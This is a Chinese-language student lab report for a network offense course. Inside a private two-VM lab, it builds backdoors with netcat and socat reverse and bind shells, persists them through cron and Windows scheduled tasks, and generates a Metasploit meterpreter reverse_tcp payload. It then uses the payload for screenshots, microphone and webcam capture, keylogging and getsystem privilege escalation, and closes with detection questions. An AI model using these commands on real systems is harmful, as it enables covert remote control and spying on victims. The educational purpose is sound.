2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 20165222
Exp2 后门原理与实践
实验环境
win7ip地址为： 192.168.136.130
kali.ip地址为： 192.168.136.129
两台虚拟机可以ping通
实验步骤
1，使用netcat获取主机操作Shell，cron启动
（1）使用WIN7进行监听，kali反弹连接。WIN7中输入ncat.exe -l -p 5222，获取监听。
kali中输入nc 192.168.136.130 5222 -e /bin/sh，与WIN7进行连接，WIN7获得kali的shell。
反过来，kali监听win7也可以。
linux监听，输入命令 nc -l -p 5222.
win7去反弹连接，在ncat目录下输入ncat.exe -e cmd.exe 192.168.136.129 5222.
（2）cron启动时让linux受害者去定时反弹连接win7。
crontab -e增加一条定时任务。
格式如下：
m分钟 h小时 dom日期 mon月 dow周几 command执行的命令 * * * * * +执行什么指令（包含在哪）。
该实验中我的如下：
结果如下：在10：01时，kali中无任何操作，但WIN7已经连接上kali的shell。
2.使用socat获取主机操作Shell, 任务计划启动
在WIN7控制面板>系统和安全>计划任务>创建任务。在触发器栏开始任务选择工作站锁定时，操作栏选择socat.exe路径，在添加参数一栏中写tcp-listen:5222 exec:cmd.exe,pty,stderr，把cmd.exe绑定到端口5222，同时把cmd.exe的stderr重定向到stdout上，确定，然后运行，锁定弹出的任务栏。
在kali中输入：socat - tcp:192.168.136.130:5222，可得到WIN7shell。
3.使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell。
在kali中用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=5222 -f exe > 20165222_backdoor.exe生成可执行文件。
接下来就要开始操作了。
在kali中输入msfconsole，开始使用MSF。
然后依次输入
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.136.129 //为kali的IP!
set LPORT 5222 //后门程序里的端口号
show options
exploit
开始监听。
WIN7运行后门程序，即可建立连接。
4.使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权。
抓屏：screenshot；获取音频：record_mic；获取摄像头或录像：webcam_snap/webcam_stream.
检查是否是虚拟机：info post/windows/gather/checkvm
可见是虚拟机
键盘录入：run post/windows/capture/keylog_recorder
权限提升：getsystem，查看权限：getuid。
图中已经成为管理员。
基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式？
1，捆绑在某些软件内。运行该软件时，后门也跟着运行，比如可能存在的某些杀毒软件。
2，系统自带。
例举你知道的后门如何启动起来(win及linux)的方式？
1，通过修改注册表开机自动启动。
2，跟随软件运行时启动。
3，配置任务计划等到一定时间自动启动。
Meterpreter有哪些给你映像深刻的功能？
拍照功能。
如何发现自己有系统有没有被安装后门？
看进程的话，后门程序本身就能捆绑到其他进程上，所以我认为应用抓包的方法，如果看到一些奇奇怪怪的包，可能被装了后门程序。
实验总结与体会
这次实验的话，前四项都比较简单，只要知道有这个东西，就算忘记了命令，查一下也能弄出来，其中MSF相当好玩，有空多去研究一下。而加分项就比较麻烦了，至少我到现在都没弄出来。还有一个比较重要的是，我感觉我要先把摄像头驱动给删了或者把摄像头给挡了，以后要用到再安装，用完就删。最好以后再把win10自带的系统进程，任务服务器，注册表，文件服务等东西记一下，去学习弄个脚本或者其他东西每次开机把非系统进程全部XX掉，抓包就算了，难分析。
